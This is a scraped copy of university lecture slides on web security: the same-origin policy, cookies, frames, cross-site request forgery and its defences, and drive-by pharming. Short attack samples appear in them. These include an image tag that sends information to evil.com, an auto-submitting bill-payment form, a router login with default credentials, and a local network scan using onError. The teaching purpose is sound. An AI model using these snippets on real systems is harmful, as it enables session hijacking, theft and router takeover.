Upload
adela-patrick
View
228
Download
4
Embed Size (px)
Citation preview
Web Security
Vitaly Shmatikov
CS 6431
slide 2
Browser and Network
Browser
NetworkOS
Hardware
website
request
reply
Two Sides of Web Security
Web browser• Responsible for securely confining Web
content presented by visited websites
Web applications• Online merchants, banks, blogs, Google Apps
…• Mix of server-side and client-side code
– Server-side code written in PHP, Ruby, ASP, JSP… runs on the Web server
– Client-side code written in JavaScript… runs in the Web browser
slide 3
slide 4
Where Does the Attacker Live?
Browser
OS
Hardware
website
Web attack
er
Network attacker
Malware attacker
Web Threat Models
Web attacker Network attacker
• Passive: wireless eavesdropper• Active: evil Wi-Fi router, DNS poisoning
Malware attacker• Malicious code executes directly on victim’s
computer• To infect victim’s computer, can exploit
software bugs (e.g., buffer overflow) or convince user to install malicious content
– Masquerade as an antivirus program, video codec, etc. slide 5
Web Attacker
Controls a malicious website (attacker.com)• Can even obtain an SSL/TLS certificate for his site
($0)
User visits attacker.com – why?• Phishing email, enticing content, search results,
placed by an ad network, blind luck …• Attacker’s Facebook app
Attacker has no other access to user machine! Variation: “iframe attacker”
• An iframe with malicious content included in an otherwise honest webpage
– Syndicated advertising, mashups, etc.slide 6
Goals of Web Security
Safe to visit an evil website
Safe to visit two pages at the same time
Safe delegation
slide 7
OS vs. Browser Analogies
Primitives• System calls• Processes• Disk
Principals: Users• Discretionary access
control
Vulnerabilities• Buffer overflow• Root exploit
Primitives• Document object model• Frames• Cookies and localStorage
Principals: “Origins”• Mandatory access control
Vulnerabilities• Cross-site scripting• Universal scripting
Operating system Web browser
slide 8
Browser: Basic Execution Model
Each browser window or frame:• Loads content• Renders
– Processes HTML and scripts to display the page– May involve images, subframes, etc.
• Responds to events
Events• User actions: OnClick, OnMouseover• Rendering: OnLoad, OnUnload
slide 9
slide 10
JavaScript
“The world’s most misunderstood programming language”
Language executed by the browser• Scripts are embedded in Web pages• Can run before HTML is loaded, before page is
viewed, while it is being viewed, or when leaving the page
Used to implement “active” web pages• AJAX, huge number of Web-based applications
Potentially malicious website gets to execute some code on user’s machine
slide 11
JavaScript History
Developed by Brendan Eich at Netscape • Scripting language for Navigator 2
Later standardized for browser compatibility• ECMAScript Edition 3 (aka JavaScript 1.5)
Related to Java in name only• Name was part of a marketing deal• “Java is to JavaScript as car is to carpet”
Various implementations available• Mozilla’s SpiderMonkey and Rhino, several
others
slide 12
JavaScript in Web Pages
Embedded in HTML page as <script> element• JavaScript written directly inside <script> element
– <script> alert("Hello World!") </script>
• Linked file as src attribute of the <script> element<script type="text/JavaScript" src=“functions.js"></script>
Event handler attribute<a href="http://www.yahoo.com"
onmouseover="alert('hi');">
Pseudo-URL referenced by a link<a href=“JavaScript: alert(‘You clicked’);”>Click me</a>
Document Object Model (DOM)
HTML page is structured data DOM is object-oriented representation of
the hierarchical HTML structure• Properties: document.alinkColor,
document.URL, document.forms[ ], document.links[ ], …
• Methods: document.write(document.referrer)– These change the content of the page!
Also Browser Object Model (BOM)• Window, Document, Frames[], History, Location,
Navigator (type and version of browser)slide 13
Browser Sandbox
Goal: safely execute JavaScript code provided by a remote website
• No direct file access, limited access to OS, network, browser data, content that came from other websites
Same origin policy (SOP)• Can only read properties of documents and
windows from the same protocol, domain, and port
User can grant privileges to signed scripts • UniversalBrowserRead/Write, UniversalFileRead,
UniversalSendMail
slide 14
Often simply stated as “same origin policy”• This usually just refers to “can script from origin A
access content from origin B”?
Full policy of current browsers is complex• Evolved via “penetrate-and-patch”• Different features evolved slightly different policies
Common scripting and cookie policies• Script access to DOM considers protocol, domain,
port• Cookie reading considers protocol, domain, path• Cookie writing considers domain
slide 15
[Jackson and Barth. “Beware of Finer-Grained Origins”. W2SP 2008]
SOP Often Misunderstood
slide 16
Website Storing Info in Browser
A cookie is a file created by a website to store information in the browser
BrowserServer
POST login.cgiusername and pwd
BrowserServer
GET restricted.html
Cookie: NAME=VALUE
HTTP is a stateless protocol; cookies add state
HTTP Header:Set-cookie: NAME=VALUE ;
…
slide 17
What Are Cookies Used For?
Authentication• The cookie proves to the website that the
client previously authenticated correctly
Personalization• Helps the website recognize the user from a
previous visit
Tracking• Follow the user from site to site; learn his/her
browsing behavior, preferences, and so on
Setting Cookies by Server
slide 18
scope
• Delete cookie by setting “expires” to date in past
• Default scope is domain and path of setting URL
BrowserServer
GET …
HTTP Header:Set-cookie: NAME=VALUE;
domain = (when to send);path = (when to send);secure = (only send over
HTTPS);expires = (when expires);HttpOnly
if expires=NULL:this session only
domain: any domain suffix of URL-hostname, except top-level domain (TLD)
Which cookies can be set by login.site.com?
login.site.com can set cookies for all of .site.com but not for another site or TLD
Problematic for sites like .cornell.edu
path: anything
allowed domains
login.site.com
.site.com
disallowed domains
user.site.com
othersite.com
.com
SOP for Writing Cookies
slide 19
Browser sends all cookies in URL scope:
• cookie-domain is domain-suffix of URL-domain
• cookie-path is prefix of URL-path
• protocol=HTTPS if cookie is “secure”
GET //URL-domain/URL-pathCookie: NAME = VALUE
SOP for Reading Cookies
BrowserServer
slide 20
SOP for JavaScript in Browser
Same domain scoping rules as for sending cookies to the server
document.cookie returns a string with all cookies available for the document• Often used in JavaScript to customize page
Javascript can set and delete cookies via DOM
– document.cookie = “name=value; expires=…; ”– document.cookie = “name=; expires= Thu, 01-Jan-
70”
slide 21
Path Separation Is Not Secure
Cookie SOP: path separationwhen the browser visits x.com/A,it does not send the cookies of x.com/BThis is done for efficiency, not security!
DOM SOP: no path separationA script from x.com/A can read DOM of x.com/B
<iframe src=“x.com/B"></iframe>
alert(frames[0].document.cookie); slide 22
Frames
Window may contain frames from different sources• frame: rigid division as part of frameset• iframe: floating inline frame
Why use frames?• Delegate screen area to content from another
source• Browser provides isolation based on frames• Parent may work even if frame is broken
<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100> If you can see this, your browser doesn't understand IFRAME. </IFRAME>
slide 23
Each frame of a page has an origin• Origin = protocol://domain:port
Frame can access objects from its own origin• Network access, read/write DOM, cookies and localStorage
Frame cannot access objects associated with other origins
A A
B
BA
Browser Security Policy for Frames
slide 24
Library Import
Same origin policy does not apply to directly included scripts (not enclosed in an iframe)
• This script has privileges of A.com, not WebAnalytics
– Can change other pages from A.com origin, load more scripts
Other forms of importing
<script type="text/javascript"
src=http://WebAnalytics.com/analyticsScript.js>
</script>
slide 25
WebAnalytics.com
SOP Does Not Control Sending
Same origin policy (SOP) controls access to DOM
Active content (scripts) can send anywhere!• No user involvement required• Can only read response from same origin
slide 26
Sending a Cross-Domain GET
Data must be URL encoded<img src="http://othersite.com/file.cgi?foo=1&bar=x
y">Browser sendsGET file.cgi?foo=1&bar=x%20y HTTP/1.1 to
othersite.com
Can’t send to some restricted ports• For example, port 25 (SMTP)
Can use GET for denial of service (DoS) attacks• A popular site can DoS another site [Puppetnets]
slide 27
Using Images to Send Data
Communicate with other sites<img src=“http://evil.com/pass-local-
information.jpg?extra_information”>
Hide resulting image <img src=“ … ” height=“1" width=“1">
slide 28
Very important point: a web page can send information to any site!
slide 29
Big trend: software as a Web-based service• Online banking, shopping, government, bill payment,
tax prep, customer relationship management, etc.• Cloud-hosted applications
Application code split between client and server• Client (Web browser): JavaScript• Server: PHP, Ruby, Java, Perl, ASP …
Security is rarely the main concern• Poorly written scripts with inadequate input
validation• Inadequate protection of sensitive data
Web Applications
Top Web Vulnerabilities
XSRF (CSRF) - cross-site request forgery• Bad website forces the user’s browser to send a
request to a good website
SQL injection• Malicious data sent to a website is interpreted as
code in a query to the website’s back-end database
XSS (CSS) – cross-site scripting• Malicious code injected into a trusted context
(e.g., malicious data presented by a trusted website interpreted as code by the user’s browser)
slide 30
XSRF True Story (1)
User has a Java stock ticker from his broker’s website running in his browser• Ticker has a cookie to access user’s account on
the site
A comment on a public message board on finance.yahoo.com points to “leaked news”• TinyURL redirects to cybervillians.com/news.html
User spends a minute reading a story, gets bored, leaves the news site
Gets his monthly statement from the broker - $5,000 transferred out of his account!
slide 31
[Alex Stamos]
XSRF True Story (2)
slide 32
[Alex Stamos]
Internet Exploder
CyberVillians.com
StockBroker.com
ticker.stockbroker.com
Java
GET news.html
HTML and JSwww.cybervillians.com/news.html
B ernanke R eally an Alien?
scriptHTML Form POSTs
Hidden iframes submitted forms that…• Changed user’s email notification settings• Linked a new checking account• Transferred out $5,000• Unlinked the account• Restored email notifications
Cookie-Based Authentication
ServerBrowserPOST/login.cgi
Set-cookie: authenticator
GET…Cookie: authenticator
response
slide 33
Browser Sandbox Redux
Based on the same origin policy (SOP)Active content (scripts) can send
anywhere!• Except for some ports such as SMTP
Can only read response from the same origin
slide 34
slide 35
Cross-Site Request Forgery
Users logs into bank.com, forgets to sign off• Session cookie remains in browser state
User then visits a malicious website containing <form name=BillPayForm action=http://bank.com/BillPay.php> <input name=recipient value=badguy> …
<script> document.BillPayForm.submit(); </script> Browser sends cookie, payment request
fulfilled!• Cookie authentication is not sufficient when side
effects can happen!
<form method="POST" action="http://othersite.com/file.cgi" encoding="text/plain">
<input type="hidden" name=“Hello world!\n\n2¥+2¥" value=“4¥"></form>
<script>document.forms[0].submit()</script>
Hidden iframe can do this in the backgroundUser visits attackers page, it tells the browser
to submit a malicious form on behalf of the user• Hijack any ongoing session
– Netflix: change account settings, Gmail: steal contacts
• Reprogram the user’s home router• Many other attacks possible
submit post
Sending a Cross-Domain POST
slide 36
User credentials
Cookie: SessionID=523FA4cd2E
Cookies in Forged Requests
slide 37
slide 38
Drive-By Pharming
User is tricked into visiting a malicious site Malicious script detects victim’s address
• Socket back to malicious host, read socket’s address
Next step: reprogram the router
[Stamm et al. “Drive-By Pharming”. 2006]
Finding the Router
Script from a malicious site can scan local network without violating the same origin policy!• Pretend to fetch an image from an IP address• Detect success using onError
<IMG SRC=192.168.0.1 onError = do()>
Determine router type by the image it serves
slide 39
Basic JavaScript function, triggered when error occurs loading a document or an image… can have a handler
ServerMaliciouswebpage
Firewall
1) “show me dancing pigs!”
2) “check this out”
Browser
scan
scanscan
3) port scan results
JavaScript Timing Code (Sample)
When response header indicates that page is not an image, the browser stops and notifies JavaScript via the onError handle
<html><body><img id="test" style="display: none"><script> var test = document.getElementById(’test’); var start = new Date(); test.onerror = function() { var end = new Date(); alert("Total time: " + (end - start)); } test.src = "http://www.example.com/page.html";</script></body></html>
slide 40
slide 41
Reprogramming the Router
Fact: 50% of home users use a broadband router
with a default or no password Log into router <script src=“http://admin:[email protected]”></script>
Replace DNS server address with address of attacker-controlled DNS server
slide 42
Risks of Drive-By Pharming
Completely 0wn the victim’s Internet connection Undetectable phishing: user goes to a financial
site, attacker’s DNS gives IP of attacker’s site Subvert anti-virus updates, etc.
XSRF Defenses
Secret validation token
Referer validation
Custom HTTP header
<input type=hidden value=23a3af01b>
Referer: http://www.facebook.com/home.php
X-Requested-By: XMLHttpRequest
slide 43
Add Secret Token to Forms
Hash of user ID • Can be forged by attacker
Session ID• If attacker has access to HTML or URL of the page
(how?), can learn session ID and hijack the session
Session-independent nonce – Trac• Can be overwritten by subdomains, network
attackers
Need to bind session ID to the token• CSRFx, CSRFGuard - manage state table at the
server• Keyed HMAC of session ID – no extra state!
<input type=hidden value=23a3af01b>
slide 44
Secret Token: Example
slide 45
Referer Validation
Lenient referer checking – header is optionalStrict referer checking – header is required
Referer: http://www.facebook.com/home.php
Referer: http://www.evil.com/attack.html
Referer:
?
slide 46
Why Not Always Strict Checking?
Why might the referer header be suppressed?• Stripped by the organization’s network filter
– For example, http://intranet.corp.apple.com/ projects/iphone/competitors.html
• Stripped by the local machine• Stripped by the browser for HTTPS HTTP
transitions• User preference in browser• Buggy browser
Web applications can’t afford to block these users
Referer rarely suppressed over HTTPSslide 47
Custom Header
XMLHttpRequest is for same-origin requests• Browser prevents sites from sending custom
HTTP headers to other sites, but can send to themselves
• Can use setRequestHeader within origin
Limitations on data export• No setRequestHeader equivalent• XHR 2 has a whitelist for cross-site requests
POST requests via AJAX
No secrets required
X-Requested-By: XMLHttpRequest
slide 48
Broader View of XSRF
Abuse of cross-site data export• SOP does not control data export• Malicious webpage can initiates requests from
the user’s browser to an honest server• Server thinks requests are part of the
established session between the browser and the server
Many reasons for XSRF attacks, not just “session riding”
slide 49
Login XSRF
slide 50
Identity Misbinding Attacks
User’s browser logs into website, but the session is associated with the attacker• Capture user’s private information (Web
searches, sent email, etc.)• Present user with malicious content
Many examples• Login XSRF• OpenID• PHP cookieless authentication
slide 51
PHP Cookieless Authentication
slide 52